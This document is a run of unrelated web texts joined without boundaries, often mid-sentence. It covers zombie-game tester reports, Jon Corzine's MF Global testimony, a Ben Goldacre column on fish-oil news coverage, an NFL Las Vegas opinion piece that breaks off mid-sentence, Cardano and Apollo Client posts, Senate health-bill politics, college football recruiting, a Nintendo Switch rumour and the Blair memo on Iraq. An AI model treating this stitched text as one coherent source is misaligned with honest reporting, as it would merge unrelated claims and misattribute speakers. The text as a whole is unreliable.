Connecting – From launching on Steam, to being in game has taken around 30 seconds on a wireless internet connection 40 down 10 up (maximum available speed).
Performance
Min – 40 fps
Max – 90 fps
Avg – 60 fps
CPU usage sat between 25-35%
Ram sits at around 4GB usage for the majority of the test
GPU usage sat at a constant 100% usage throughout testing
Thoughts – The game is really well optimized for the current stage it is at, many issues with rubber banding and lag in our current and previous builds but a simple relog usually sorts that out for the time being, From my running around and killing JB plenty of times in towns and out of towns playing the game at 40+ FPS feels really nice and smooth. Killing JB was surprisingly easy the man just cannot aim so if you see him kill him LOL. The map itself looks really good currently as well and I had fun just walking around it exploring. DEVELOPER EDIT - He's filthy cheater.
The night times are really really dark and it makes the game all the better IMO with the hordes of zombies (10+) roaming the streets waiting to kill you and the noises they make scare the heck out of you as well when you cant see them. Even with spawned in guns and ammo it was a real challenge to survive at night, the zombies have no mercy and will kill you in seconds if you are not careful.
The screenshots posted here on the forums and discord look as good as it does in game on ultra for me, little less quality in the screens ofc.
Overall it's been really good, we have been finding lots of bugs in the game and getting a new build one after the other, My confidence in the devs has grown along with all the SoonTM's xD. Although the backer access will and you should expect it to still be buggy if you do not already, I'd guess a lot of you will enjoy it. I'm open to any questions about my time testing, and will respond as soon as possible.
Spoiler: DocteurOod Overview **Any performance and feedback in this spoiler is likely to change over the course of the games development, and is only intended to show performance and my thoughts on the state of the current test build.**
Test version 0.3.2
SPECS -
CPU - AMD 8350FX (Black Edition) at 4ghz
MEM - 2x4 gb GEIL DDR3 @2200mhz
GPU - Nvidia GTX 970 4GB
Screen - 22” 2ms 1920x1080 Full HD monitor via HDMI
HD - 256gb SSD
OS - Windows 10 Fam 64 bit, fully updated on date of testing (30/9/17)
Feedback is based on my experience in 1920x1080 Ultra (Vsync off) unless otherwise stated.
Connecting – From launching on Steam, to being in game has taken anywhere between 5 to 10 seconds on a wired internet connection 500 down 200 up (maximum available speed).
Performance
Min – 50 fps
Max – 115 fps
Avg – 82 fps
CPU usage sat between 60-75%
Ram usage peaked just under 8gb and sat at between 6.5-7.5gb usage for the majority of the test
GPU usage sat at a constant 100% usage throughout testing
Thoughts –
During the first build, we did a lot of bug hunting.
The first hours of connections also allowed us to discover the game. My first connection was in the middle of the night, I could not see anything. I strolled through the forest and found a cabin. I searched several pieces of furniture. After that, I saw that I was carrying a weapon and a torch, which was convenient. I played an hour as a normal player.
The night is violent, the zombies are also violent. We can kill easily 1.2 gold 3 zombies goal we can be surprised and see it appear behind us. You can kill them with one bullet in their heads.
After that, the tests began. I've noticed a few problems with rubber banding and lag issues in the build.
I made several screenshots in high. I hope you saw them on Discord or on the forum.
I think, from my personal opinion, the game is not ready for the backer release. The game can be fun but it needs to be refined. If you could wait a few more weeks, the game can be really cool to you.
If you want more informations about my config or anything else, let me know.
Test version 0.3.2 (2nd PC) (PC on the cloud)
Intel Xeon CPU E5-2620 v4 2.10 Ghz
12 gb DDR4 3000Mhz
256Gb SSD
GTX 1070 8Gb connected to a 22” 2ms 1920x1080 Full HD monitor via HDMI/DisplayPort – Driver version 385.69 installed.
Windows 10 Pro 64 bit, fully updated on date of testing (30/09/2017)
Feedback is based on my experience in 1920x1080 Ultra
Performance
Min – 80 fps
Max – 180+ fps
Avg – 110 fps
Hey all,Just a quick update to let you all know how things are going. The moderators joined us on the servers towards the end of last week. This is the first time people outside of the development team have joined servers since the second stress test. It's also the first time people are joining something that actually resembles a gameThings are progressing nicely. Looking at the current situation optimistically, we think it's fair to guesstimate backers getting keys sometime in October! The current builds are pretty strong but there are issues that need to be addressed before a release to nearly 15,000 people. In the last 10 or so days, the mods have found 100's of issues and we've burned our way through quite a few builds already.We want to reiterate here that the mods are not finding 'all of the bugs'. They're helping us reach a respectable level of stability. The release you'll be playing in the next couple of weeks is not a game. It's pre-alpha and essentially an extended stress test. The builds that go public will likely be missing many of the alpha trailer features. It will likely stress and test mostly zombie behavior. It will be our main focus initially because it's a zombie survival game. Initially zeds and survival mechanics will take center stage. That is once we get over the server/influx hump. There are going to be countless issues moving forward, down times, server crashes, client crashes, buggy AI and player playability. If you're expecting a polished game then you're going to be disappointed and we would suggest that you wait for the Steam Early Access release. We will likely be doing a stream with mods showcasing exactly what to expect a week or so before keys go out.The mods have been working on issues and you can track a small fraction of their fixes on our changelog. I've not really had the time to keep this updated over the past couple of months and it will be replaced with a far more dynamic Trello board once keys go out. Below I've included spoiler tags. You'll find moderator performance results and their thoughts on these first basic test builds if you're interested. There are also a ton of screenshots on our discord from the mods. I'll include some of the best here incase you're not on discord. You can also find loads of them here in this dedicated thread In closing, we'll run yet another week of mod testing and we'll get back to everyone next weekend. Hopefully we'll have some more news and if possible, a more refined initial release date. Thanks for the continued patience. All the new support and excitement on the discord over the new.gifs and screenshots have been great!Some screens from the guys -Jon S. Corzine, the former U.S. senator and governor who presided over the collapse of the commodities brokerage MF Global, told lawmakers Thursday that he never intended to authorize a transfer of customer funds to the firm’s accounts and that if he did “it was a misunderstanding.”
Under pointed questioning by members of the House Committee on Agriculture, the New Jersey Democrat would not rule out the possibility that someone at the firm misinterpreted him as suggesting that the struggling firm tap into investors’ funds.
MF Global sought bankruptcy protection on Halloween after an effort to sell the troubled firm unraveled. The firm is now in liquidation.
In his prepared testimony submitted before the hearing, Corzine said he could not explain what happened to “many hundreds of millions of dollars” that the firm was holding for customers. He said he was “stunned” to learn shortly before the firm sought bankruptcy protection at the end of October that MF Global could not account for the money.
“I simply do not know where the money is, or why the accounts have not been reconciled to date,” Corzine said, according to the testimony.
The firm was required to keep clients’ money separated from its own. But more than $1.2 billion might be missing, the trustee overseeing the firm’s liquidation said last month. An attorney for the trustee confirms that assessment in testimony submitted for for hearing.
The FBI, the Commodity Futures Trading Commission and other authorities are investigating and trying to determine what happened to the missing funds.
Meanwhile, the firm’s collapse has become a major disruption for customers and others who depended on MF Global.
The Republican-led House Agriculture Committee, whose jurisdiction includes agricultural commodities and one of the federal agencies that regulates MF Global, subpoenaed Corzine to testify on the firm’s bankruptcy. The committee turned down Corzine’s request to testify voluntarily in January, he said.
Corzine began his testimony Thursday with an apology, saying that he was “devastated by the enormous impact” the firm’s bankruptcy has had on many people’s lives.
“As the chief executive officer of MF Global at the time of its bankruptcy, I truly apologize to all those affected,” he told the House members.
Questioned first by committee chairman Frank D. Lucas (R-Okla.), Corzine — wearing a gray suit, white shirt and dark tie and flanked by his lawyer — gave some strained and cautious answers.
Asked why there was a shortfall in customer funds, Corzine said that “many transactions… occurred in those last chaotic days.” He said he was not aware of all of those transactions and that “as a consequence it would be very hard for me to speculate why or where that shortfall took place.”
Asked if he authorized a transfer of customer funds, Corzine responded, “I never intended to break any rules, whether it dealt with the segregation rules or any of the other rules that are applicable.”
When Lucas asked if Corzine was aware of any transfers, authorized or unauthorized, out of customer accounts, Corzine said, “I’m not in a position, given the number of transactions, to know anything specifically about the movement of any specific funds.”
“And I will repeat, I certainly would never intend to direct or have segregated funds moved,” Corzine added.
Corzine said that the “first that I heard of the many millions, hundreds of millions, missing, was on Sunday night,” apparently referring to the hours before the bankruptcy filing.
Rep. Randy Neugebauer (R-Tex.) later pressed Corzine to clarify his statement that he never intended to authorize a transfer of customer funds.
If he did, “it was a misunderstanding,” Corzine said.
In response to a similar question later, Corzine said, “There is never any directed intent to commingle those funds.”
“So, in other words, you could have,” said Rep. David Scott (D-Ga.).
Asked to describe a situation in which his intent could have been misconstrued, Corzine said, “Someone could misinterpret, ‘We’ve got to fix this’ — which I said the evening of Oct. 30 – ‘We’ve got to find the money.’”
In his prepared statement, Corzine said that many people in his situation would invoke their Fifth Amendment right to remain silent. However, as a former senator, he said, he recognizes the importance of congressional oversight and believes “it is appropriate that I attempt to respond to your inquiries.”
Though anything he said could be used against him, Corzine hedged his testimony by saying he had too little time to prepare for the hearing and only limited access to records “essential to my being able to testify accurately.”
In his prepared remarks, Corzine told lawmakers, “I sincerely apologize, both personally and on behalf of the company, to our customers, our employees and our investors, who are bearing the brunt of the impact of the firm’s bankruptcy.”
CFTC Commissioner Jill E. Sommers said in a statement Thursday that her agency still “has a great deal of work ahead of it to get customer funds back where they need to be, to determine what went wrong with segregated funds at MF Global, to determine whether to prosecute any violations... and to determine what needs to be done to prevent a similar circumstance in the future.”
Another witness slated to testify Thursday, CME Group Executive Chairman Terrence A. Duffy, shed more light on the missing money in his prepared testimony. CME Group runs markets for derivatives, including the Chicago Mercantile Exchange, and oversees MF Global.
Duffy said his group’s auditors found no sign that customer funds were missing as of Oct. 26. CME Group auditors returned to MF Global on Oct. 30, because it learned from the CFTC that a draft accounting report at MF Global showed a $900 million shortfall in customer funds caused by an “accounting error,” Duffy said.
The auditors found no accounting error.
Instead, about 2 a.m. on Monday, Oct. 31, MF Global informed the CFTC and CME “that customer money had been transferred out of segregation to firm accounts,” Duffy said.
“Transfers of customer funds for the benefit of the firm constitute serious violations of our rules” and of federal law, Duffy said.
James Kobak, attorney for the trustee, said MF Global’s records are a mess, mainly from the last week or two of intense trading before the bankruptcy filing.
If customer funds were misused, individuals could face criminal prosecution, Sommers said.
The journey to the witness table was a dramatic turnabout for Corzine, who made a fortune at the helm of the investment bank Goldman Sachs and then parlayed his wealth into a career in politics.
Corzine’s testimony is his first public statement on the demise of MF Global since he resigned as chief executive of the firm more than a month ago. On Nov. 4, days after the bankruptcy filing, he issued a brief statement saying he felt “great sadness for what has transpired at MF Global and the impact it has had on the firm’s clients, employees and many others.”
Coming three years after the world’s financial system nearly imploded, the collapse of MF Global exposed persistent vulnerabilities in the financial sector, some of which involve derivatives, the complex instruments that contributed to the crisis of 2008.
As the hearing got underway, Rep. Collin C. Peterson (D-Minn.), the panel’s ranking Democrat, said it was “pretty amazing that we’re in this situation.”
“It appears to me that nobody has learned a thing from what’s gone on here, that Wall Street is operating as if 2008 never happened,” Peterson said.
In his prepared statement, Corzine said that, though he “ultimately had overall responsibility for the firm,” he did not generally involve himself in the movement of cash and collateral or the mechanics of settling trades.
“Nor was I an expert on the complicated rules and regulations governing the various different operating businesses that comprised MF Global,” he said.
The firm was losing money when he stepped in last year and helped chart a new strategy to make it less reliant on declining revenue sources such as commissions on clients’ trades, Corzine said. Corzine said he strongly advocated investing in the debt of European governments — Belgium, Italy, Spain, Ireland and Portugal. The transactions were reviewed by the firm’s board, Corzine said.
On “a few occasions,” the firm exceeded limits the board had set on the amounts MF Global could invest in trades related to particular countries, Corzine said.
MF Global bet on European debt using deals known as repurchase transactions or “repos,” which essentially involved borrowing the money to buy the bonds and then putting them up as collateral for the loans.
During the hearing, Corzine acknowledged to lawmakers that there was dissent within the firm over his strategy on European debt. He said the firm’s chief risk officer had a different view of the risk and conveyed that to the board. Corzine said he agreed with the board’s decision to change chief risk officers.
Corzine denied that he threatened to leave the firm if the board did not trust his judgment. But he said he told the board’s lead director that he would be willing to step down if the board lost confidence in him.
By mid-June, FINRA, a self-regulatory group for the brokerage industry, was challenging MF Global’s handling of the European transactions, arguing that it needed to put capital in reserve to offset the risk.
Corzine said he went to the headquarters of the Securities and Exchange Commission to argue against FINRA’s position. The SEC sided with FINRA. Corzine recalled that he phoned an SEC official, who told him there was no further appeal.
To comply, MF Global shored up its capital. But by the fall, credit rating agencies were downgrading the firm, and investors were deserting it. In late October, the firm made frantic efforts to raise cash by unwinding bets on European bonds and trying to tap lines of credit. Corzine described “chaotic, sleepless nights.” On Oct. 25, MF Global reported that it lost $191.6 million during the quarter that ended Sept. 30. Corzine said the loss was not related to the firm’s investment in European debt.
“Despite our best efforts to sell assets and generate liquidity, the marketplace lost confidence in the firm,” Corzine said.
In his prepared testimony, Corzine also recounted that he lobbied against regulators’ effort to tighten restrictions on how brokerages such as MF Global could invest clients’ money.
The proposed rules change was championed by Gary Gensler, chairman of the Commodity Futures Trading Commission and a fellow alum of Goldman Sachs. Corzine said he argued against the change in a July conference call with Gensler. Gensler has recused himself from the agency’s probe of MF Global.
At the hearing, Corzine told lawmakers that he “did not exert undue or improper influence on regulators.”
This week, the CFTC finally adopted restrictions that Corzine and others in the industry had fought.
Corzine recounts that he also met with Gensler in May and December of 2010, and that he asked Gensler about the proposed rule in front of an audience during a June conference.
Corzine said he does not know which MF Global customer accounts remain “unreconciled” and whether they were subject to the rules about keeping client funds separate from those of the firm.
Lucas said at the hearing that the mystery has caused serious damage. “The very cornerstone of the futures markets, customer funds segregation, has been severely and suddenly called into question,” Lucas said in his opening statement. “Dozens of my constituents have been left not only without their property, but also without answers about why and how this happened,” Lucas said.
Testifying before the panel, Sommers, the federal regulator, said the CFTC relies on an industry self-regulatory group to serve as the front-line auditor of firms like MF Global. The firms self-report whether they are in compliance with the requirement that they keep customer funds segregated, she said.
“Why would one self-report their own wrongdoing?” asked committee member Rep. Martha Roby (R-Ala.)
“That does happen,” Sommers said.
In his Nov. 4 statement resigning from MF Global, Corzine said stepping down was “a difficult decision.”
But by then, Corzine was merely a spectator to the firm’s liquidation. A spokesman for the trustee overseeing the liquidation said at the time that Corzine had “no role within MF Global” since the trustee was appointed Oct. 31.
Corzine served as chairman and chief executive of Goldman Sachs but, according to published accounts, was forced out.
He used the personal fortune he built at Goldman to fuel his ascent to the U.S. Senate, where he served on the Banking Committee. He later won the New Jersey governorship. In 2007, he was badly injured in a car crash.
He ran for reelection as governor of New Jersey in 2009 but was defeated by Republican Chris Christie. As Corzine receded from the public eye, Christie gained national prominence and recently considered jumping into the presidential race.
At MF Global, Corzine was returning to his Wall Street roots. The job could have served as a step toward a political comeback. As recently as last spring, he hosted a fundraiser for President Obama.
Now, Corzine’s disastrous tenure at MF Global has left him in a harsh spotlight. The House Agriculture Committee isn’t the only congressional panel eager to question Corzine.
The Senate Agriculture Committee on Tuesday voted unanimously to subpoena him for a Dec. 13 hearing, and the House Financial Services Subcommittee on Oversight and Investigations voted 15-0 Wednesday to subpoena him for a Dec. 15 hearing.
More news from Post Business:
ECB cuts interest rates, trying to stave off recession
Jobless claims fall to lowest in 9 months
FDA agrees to determine safety of BPABen Goldacre, The Guardian, Saturday 5 June 2010
“Fish oil helps schoolchildren to concentrate” was the headline in the Observer. Regular readers will remember the omega-3 fish oil pill issue, as the entire British news media has been claiming for several years now that there are trials showing it improves school performance and behaviour in mainstream children, despite the fact that no such trial has ever been published. There is something very attractive about the idea that solutions to complex problems in education can be found in a pill.
So have things changed? The Observer’s health correspondent, Denis Campbell, is on the case, and it certainly sounds like they have. “Boys aged eight to 11 who were given doses once or twice a day of docosahexaenoic acid, an essential fatty acid known as DHA, showed big improvements in their performance during tasks involving attention.” Great. “The researchers gave 33 US schoolboys 400mg or 1,200mg doses of DHA or a placebo every day for eight weeks. Those who had received the high doses did much better in mental tasks involving mathematical challenges.” Brilliant news.
Is it true? After some effort, I have tracked down the academic paper. The first thing to note is that this study was not a trial of whether fish oil pills improve childrens’ performance, it was a brain imaging study. They took 33 kids, divided them into 3 groups (of 10, 10 and 13 children) and then gave them either: no omega-3, a small dose, or a big dose. Then the children performed some attention tasks in a brain scanner, to see if bits of their brains lit up differently.
Why am I saying “omega-3”? Because it wasn’t a study of fish oil, as the Observer says, but of omega-3 fatty acids derived from algae. Small print.
If this had been a trial to detect whether omega-3 improves performance, it would be laughably small: a dozen children in each group. While small studies aren’t entirely useless, as amateurs often claim, you do have a very small number of observations to work from, so your study is much more prone to error from the simple play of chance. A study with 11 children in each arm could conceivably detect an effect, but only if the fish oil caused a gigantic and unambiguous improvement in all the children who got it, and none on placebo improved.
This paper showed no difference in performance at all. Since it was a brain imaging study, not a trial, they only report the results of children’s actual performance on the attention task in passing, in a single paragraph, but they are clear: “there were no significant group differences in percentage correct, commission errors, discriminability, or reaction time”.
So this is all looking pretty wrong. Are we even talking about the same academic paper? I’ve a long-standing campaign to get mainstream media to link to original academic papers when they write about them, at least online, with some limited success on the BBC website. I asked Denis Campbell which academic paper he was referring to, but he declined to answer, and passed me on the Stephen Pritchard, the Readers Editor for the Observer, who answered a couple of days later to say he didn’t understand why he was being involved. Eventually Denis confirmed, but through Stephen Pritchard, that it was indeed this paper(qurl.com/denis) from the April edition of the American Journal of Clinical Nutrition.
If we are very generous, is it informative, in any sense, that a brain area lights up differently in a scanner after some pills? Intellectually, it may be. But doctors get very accustomed to drug company sales reps and enthusiastic researchers who approach them with an excitingtheoretical reason why one treatment should be better than another (or better than life as usual without the miracle treatment): maybe their intervention works selectively on only one kind of receptor molecule, for example, so it should therefore have fewer side effects. Similarly, drug reps and researchers will often announce that their intervention has some kind of effect on some kind of elaborate measure of some kind of surrogate outcome: maybe a molecule in the blood goes up in concentration, or down, in a way that suggests the intervention might be effective.
This is all very well. But it’s not the same as showing that something really does actually work, back here in the real world, and medicine is overflowing with unfulfilled promises from this kind of early theoretical research. It’s not even in the same ballpark as showing that something works.
And oddly enough, someone has finally now conducted a proper trial of fish oils pills in mainstream children, to see if they work: a well-conducted, randomised, double-blind, placebo-controlled trial, in 450 children aged 8–10 years old from a mainstream school population. It was published in full this year (qurl.com/fish), and they found no improvement. Show me the news headlines about that paper.
Meanwhile Euromonitor estimate global sales for fish oil pills at $2bn, having doubled in 5 years, with sales projected to reach $2.5bn by 2012, and they are now the single best selling product in the UK food supplement market. This has only been possible with the kind assistance of the British media, and their eagerness for stories about the magic intelligence pill.
Stuff:
You might also enjoy this takedown of the Observer piece by Dorothy Bishop, professor of neuropsychology in Oxford, and this at HolfordWatch. I should say, it makes me admire the Guardian even more that they publish a column like this about one of our own news articles. Although I do think the headline they used (“Omega-3 lesson, not so much brain boost as fishy research“) is wrong, as it wasn’t the research that was problematic, it was the reporting of it.An NFL team in Sin City is almost definitely a terrible idea, but it will bring in money and headlines for the league
This year’s NFL offseason has been uncharacteristically quiet, thanks to the absence of round-the-clock coverage on ball deflation, text messages between equipment managers, and discussions of ideal gas law by people who didn’t take a science class past the 12th grade.
Team Brady is back appealing his suspension, but the Deflategate story just doesn’t generate the publicity per square inch it used to, and TV ratings show the vast majority of fans don’t care about the league’s love of doctoring science.
Yet for those who prefer their NFL without anything resembling an offseason or a lull in coverage, there is good news: the groundwork is being laid that will give the league a dedicated homebase to churn out headline-grabbing scandal for decades into the future. And not just any kind of scandal either. Lurid stuff that really grabs attention.
Was the Odor-Bautista fight acceptable? Baseball's code is unclear... Read more
If current momentum continues, there may be an NFL team in Las Vegas by 2017. And not just any team. The Raiders. The Las Vegas Raiders. No city and team could be a better match than Sin City and the NFL’s original team of outlaws. Younger fans may not see the Raiders as “bad boys,” just bad at football, but channel surfing through the NFL Network when they’re replaying the John Facenda-narrated “Raiduh” bit is a quick way to get a sense of what the image of the franchise once was – and what it could soon be again.
The Raiders hit hard, with intent to injure, and stood over their victims. They talked trash. They cursed. They smoked and drank, and didn’t care what anyone thought about any of it. If the internet and social media had existed in the 1970s, the Raiders would have set the all-time sports record for thinkpieces generated. Now imagine taking a team with that history and dropping them in a city where anything goes. Into a town with legal gambling and in a state that allows prostitution. The NFL may well do it.
Raiders owner promises Las Vegas move will be 'offer NFL can't refuse' Read more
Granted, today’s Raiders are far from the Raiders of old. The team is finally on the path to being regular playoff competitors again, but nobody, for one example, has compared the off-the-field lifestyle of devout Christian quarterback Derek Carr to Ken Stabler in his prime. The closest the modern Raiders have been to outlaws came in 2013, when defensive end Desmond Bryant got arrested for misdemeanor criminal mischief after showing up drunk and shirtless at a Florida family’s home. It resulted in maybe the most comical mugshot of all-time. That’s classic Florida Man behavior, not the stuff of the vintage Raiders.
But the newer, cleaner image of the Raiders can, and will, change if they land in a proposed $1.6bn, 64,000-seat stadium on the Las Vegas Strip. Not every Raider would fall victim to Vegas temptations, but enough would. The existence of a Vegas Raiders means dozens of single, recognizable, twentysomething millionaires would be living year-round in a city that built its reputation on debauchery. They aren’t all going to be able to stay out of the news for long. Whether the NFL means to or not, it is potentially creating a headlines monster in the Nevada desert.
When the Raiders themselves aren’t getting into trouble or showing up on social media drunk and in a Johnny Manziel-style disguise at one of the city’s more than 70 casinos, the NFL teams they welcome into town eight weekends a year could fill the void. Every time a late-game fumble, missed tackle or blown coverage causes a gambling line swing, we would hear whispers about point shaving. Each year’s draft coverage will be full of discussion about which prospects with “red flags” can or can not handle playing in Las Vegas.
The NFL would have to debate whether bringing the Super Bowl, their sacred game, to America’s city of ill repute will tarnish the shield. These are not issues that come with NFL teams that play in quaint hamlets like Green Bay, Wisconsin, or East Rutherford, New Jersey. Even the dystopian (and very realistic) football drama Playmakers didn’t dare put a team in Las Vegas. Remember when NFL man of the year Eugene |
.Chat offers similar chat functionality to Slack, but gives us the tools to better protect our users from spammers and scammers. Whilst there will always be teething issues with adopting a new platform, we are confident that this is the right direction for the community. We will be slowly phasing out support for Slack, so please use Rocket.Chat from now on. We look forward to seeing you there! chat.cardanohub.org Roadmap Update The roadmap released today includes more detail on the features that will be part of Shelley, the next phase of Cardano development.
This includes the voting centre, through which users will vote on proposals to develop the protocol. Paper wallets are being introduced to help users securely hold Ada offline in cold storage. Users will find it much quicker to start up the Daedalus wallet through the introduction of a light client mode that will enable a faster syncing time to the blockchain. Visualisations for some of these features will help show users what exactly these features will look like. IOHK engineers are also moving to a revised working process which is possible now the foundation of Bryon can be built upon.
This new approach to software development where more regular updates are made to the code will bring benefits to users, such as features being delivered sooner.
This is a major change that involves detailed planning and coordination and is explained in a blog post. Cardano RoadmapCache persistence for Apollo Client 2.0
Introducing apollo-cache-persist, a package that persists & rehydrates your Apollo Client cache
James Reggio Blocked Unblock Follow Following Dec 12, 2017
This is a guest post from Apollo contributor James Reggio, co-founder of Banter, a podcasting client built with Apollo and React Native.
First impressions are important, but with mobile apps the second impression is sometimes what counts the most. From a user’s perspective, there’s nothing more frustrating than launching an app only to stare at a blank screen, waiting for data to load that’s already been fetched before. That’s why we’re introducing apollo-cache-persist, a library to seamlessly save and restore your Apollo cache from persistent storage.
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Whether you’re persisting data with AsyncStorage or localForage, apollo-cache-persist works with a variety of storage providers for the web and React Native. It also supports any cache that works with Apollo Client 2.0, including the default InMemoryCache and Hermes, a community-built alternative.
Best of all, you can get started with just a couple lines of code:
Quickstart for web (using localStorage)
persistCache will immediately restore your cache from storage, and automatically persist it after every update (with a short, configurable, debounce interval).
If you need more control over the process, we’ve got you covered. You can instantiate a CachePersistor, which offers methods to explicitly extract, restore, purge, and measure the cache, as well as methods to pause and resume the automatic persistence.
Have specific storage needs? apollo-cache-persist is compatible with any storage provider that works with redux-persist, so there’s already a suite of well-tested packages at your disposal, including providers for compression and encryption.
Automatic persistence
The default persistence timing — after every write to the cache — rarely loses data, and performs well in modern browsers. However, in resource-constrained environments like React Native, it’s less than ideal.
Your app’s UI typically needs to update in response to a write to the cache, so it’s not the best time to send potentially hundreds of kilobytes over the native bridge. (It takes around 600ms to send 100kb over the bridge to AsyncStorage on an iPhone 6, during which your app will not be responsive to touch.)
That’s why we’ve included a background persistence trigger for React Native, which will persist the cache as soon as your app leaves the foreground. This happens whenever the phone is locked, or whenever the home screen, multitasking view, or another app is activated — all good times for an expensive operation.
Quickstart for React Native
I’ve been using the background persistence trigger in my app, Banter, for months without any issues. However, if the non-deterministic nature of these triggers worries you, you can always write your own by passing a function as the trigger option.
Size management
The Apollo community is in the early stages of designing fine-grained cache controls, including the ability to utilize directives and metadata to control cache policy on a per-key basis. In the meantime, we’re limited to persisting and restoring the entire cache, which will cause it to grow over time.
In my own usage, I haven’t seen this become a performance problem, even with hundreds of kilobytes in the cache. However, it’s good practice to set a high upper bound on its growth, which you can do with the maxSize option. When your cache exceeds the size limit, persistence will pause and the cache will be reset upon the next launch of the app. I recommend starting with 500kb ( 512000 bytes) and tuning from there.
For further control, you can setup a background task to periodically reset the cache to contain only your app’s most important data. (On the web, you can use a service worker; on React Native, there’s react-native-background-task.) The background task would start with an empty cache, query the most important data from your GraphQL API, and then persist. This strategy has the added benefit of ensuring the cache is loaded with fresh data when your app launches.Senate Majority Leader Mitch McConnell (R-Kentucky) announced this afternoon that a "discussion draft" of the rushed, flawed, and secretive Senate version of the American Health Care Act will be unveiled Thursday, in advance of a hoped-for vote a week hence, on June 29. "Oh they'll have plenty of time" [to read the bill], McConnell said. "This will be about as transparent as it can be." Uh-huh.
Sen. Rand Paul (R-Kentucky), long considered the most likely Republican "no" vote, did not sound enthused about the legislation today. While stressing that he'll decide only after reading the bill, Paul reiterated in remarks recorded by Bloomberg News political reporter Sahil Kapur that he's "not interested in voting for anything that's a new entitlement program," and that it might be better to "start over." More from Paul:
The House bill has 90 percent of the subsidies of Obamacare….If this gets any more subsidies in it, it may well be equal to what we have in Obamacare. So it really wouldn't be repeal. […] I think they've forgotten all the rallies where they said they were going to repeal it. I mean, we had thousands of people standing up and cheering us on saying they were going to repeal it. And now they've gotten kind of weak-kneed and I think they want to keep it. But they're getting hit from both sides. Conservatives who are in the know are going to know that this isn't repeal. And no Democrat likes it because they think it's going to go too far. So I think you're going to wind up with what you had in the House bill—about 20 percent of the public's going to think it's a good idea.
The other most likely "no" vote has always been Paul's pal Sen. Mike Lee (R-Utah), who, while also keeping his vote open, said in a Facebook video today that:
Even though I've been a member of this working group among Senate Republicans assigned to help narrow some of the focus of this, I haven't seen the bill....And it has become increasingly apparent in the last few days that even though we thought we were going to be in charge of writing a bill within this working group, it's not being written by us, it's apparently being written by a small handful of staffers for members of the Republican leadership in the Senate....We should have been able to see it weeks ago if we were going to voting on it next week.
But even if Lee and Paul revolt, as many have been predicting, the unpopular bill still needs one more Republican hand on the steely knife to kill the beast. Sen. Ted Cruz (R-Texas), while mocking Democratic complaints about process, said Tuesday the legislation still has "got a long way to go." Sen. Lisa Murkowski (R-Alaska), a key moderate, said, "I would like a more open process, that's for sure," and: "I cannot say what I would vote for if I haven't seen it….That's where a real problem is, because nobody — I shouldn't say that." And Sen. John McCain (R-Arizona) quipped that, "I'm sure the Russians have been able to hack in and gotten most of it."
Peter Suderman earlier today floated various theories for Republicans' odd AHCA behavior.For the second consecutive year, Mike Leach and the Washington State Cougars staff has dipped into Florida to land a highly touted receiver prospect as West Palm Beach, Fla., three-star Isaiah Johnson has committed to the Cougars, he announced on Twitter.
The 6-foot-3, 205-pound outside receiver — a close friend and former teammate of WSU freshman receiver Tavares Martin — took an official visit to Washington State two weekends ago and promptly de-committed from Florida following an official visit to Gainesville, Fla., over the weekend.
Johnson also held offers from Auburn, Miami, Louisville, Florida, North Carolina, N.C. State, Mississippi State and many others. Prior to his nine-month commitment to Florida, Johnson had pledged to Louisville and Miami.
ESPN rates Johnson as a four-star prospect while Rivals, 247 Sports and Scout give him three-stars. According to the 247 Sports Composite, Johnson is ranked the No. 90 overall receiving prospect in the country with an 86.4% ranking, the highest in the Cougars' 2016 recruiting class.
Expected to graduate this month, Johnson, who previously signed a financial aid agreement to Florida, will instead sign with Washington State and enroll in classes next month, allowing him to participate in spring practices.
Johnson is a massive outside receiver with "a long frame that can pack on an additional 15-20 pounds without losing much athleticism moving forward." What is most impressive on tape, though, is Johnson's route-running, which is as polished as you're generally going to find at the prep level. The Florida native is a major pickup and could very likely be in line to play as a true freshman.
With Johnson in the fold, Washington State now holds 24 verbal commitments, including fellow receivers Renard Bell, Stephen Houston, Josiah Westbrook and Grant Porter.
Unless one or more of the receivers are asked to greyshirt, the Cougars could be done at the position, however there are several other receivers expected to officially visit next month (which I'll cover in this week's big board).Nintendo revealed a whole lot about their upcoming Nintendo Switch system, and everything that they revealed seems to be encouraging. However, the one thing they didn’t talk about just yet – understandable, since this is the kind of thing that you usually talk about nearer the system’s launch – was whether or not the system will be region locked.
For context, understand that no Nintendo console ever has been region free- every single one of them, from NES to Wii U, had a region lock in place. Nintendo handhelds used to be region free, but Nintendo changed even that starting with the DSi. This is a baffling decision that makes no sense, especially in today’s globalized and connected world.
However, the Switch will probably change that- Nintendo insider Emily Rogers, who was vindicated with today’s Switch reveal (which corroborated her rumors), has reiterated that the Switch will be region free. This will make it the first Nintendo home console (but not the first handheld) to do so.
Nintendo Switch will launch in March 2017 worldwide.It took 7 years and £10 million to do but the Chilcot Inquiry produced the Smoking Gun.
This is the memo Blair sent to Bush on 28th July 2002. Its first words – “I will be with you, whatever” – are now famous. They provide the final nail in the coffin of Blair’s reputation.
The memo deserves to be set out in full:
“I will be with you, whatever. But this is the moment to assess bluntly the difficulties. The planning on this and the strategy are the toughest test yet. This is not Kosovo. This is not Afghanistan. It is not even the Gulf War. The military part of this is hazardous but I will concentrate mainly on the political context for success. Getting rid of Saddam is the right thing to do. He is a potential threat. He could be contained. But containment, as we found with Al Qaeda, is always risky. His departure would free up the region. And his regime is probably, with the possible exception of North Korea, the most brutal and inhumane in the world. The first question is: in removing him, do you want/need a coalition? The US could do it alone, with UK support. The danger is, as ever with these things, unintended consequences. Suppose it got militarily tricky. Suppose Iraq suffered unexpected civilian casualties. Suppose the Arab street finally erupted, e.g. in ( ). Suppose Saddam felt sufficiently politically strong, if militarily weak in conventional terms, to let off WMD. Suppose that, without any coalition, the Iraqis feel ambivalent about invaded and real Iraqis, not Saddam’s special guard, decide to offer resistance. Suppose, at least, that any difficulties, without any coalition, are magnified and seized upon by a hostile international opinion. If we win quickly, everyone will be our friend. If we don’t and they haven’t been bound in beforehand, recriminations will start fast. None of these things might happen. But they might, singly or in combination”.
Despite what Blair is now saying it is impossible or at the least extremely difficult to read the memo without seeing in it clear confirmation of a cast-iron commitment on Blair’s part to join Bush in a war against Iraq.
The memo is however much more than just this. It is proof – or at the very least extremely strong evidence – that the intention throughout was simply regime change ie. the overthrow of Saddam Hussein and his regime, which however brutal and tyrannical they might have been were at the time the memo was written the legal, internationally recognised government of Iraq.
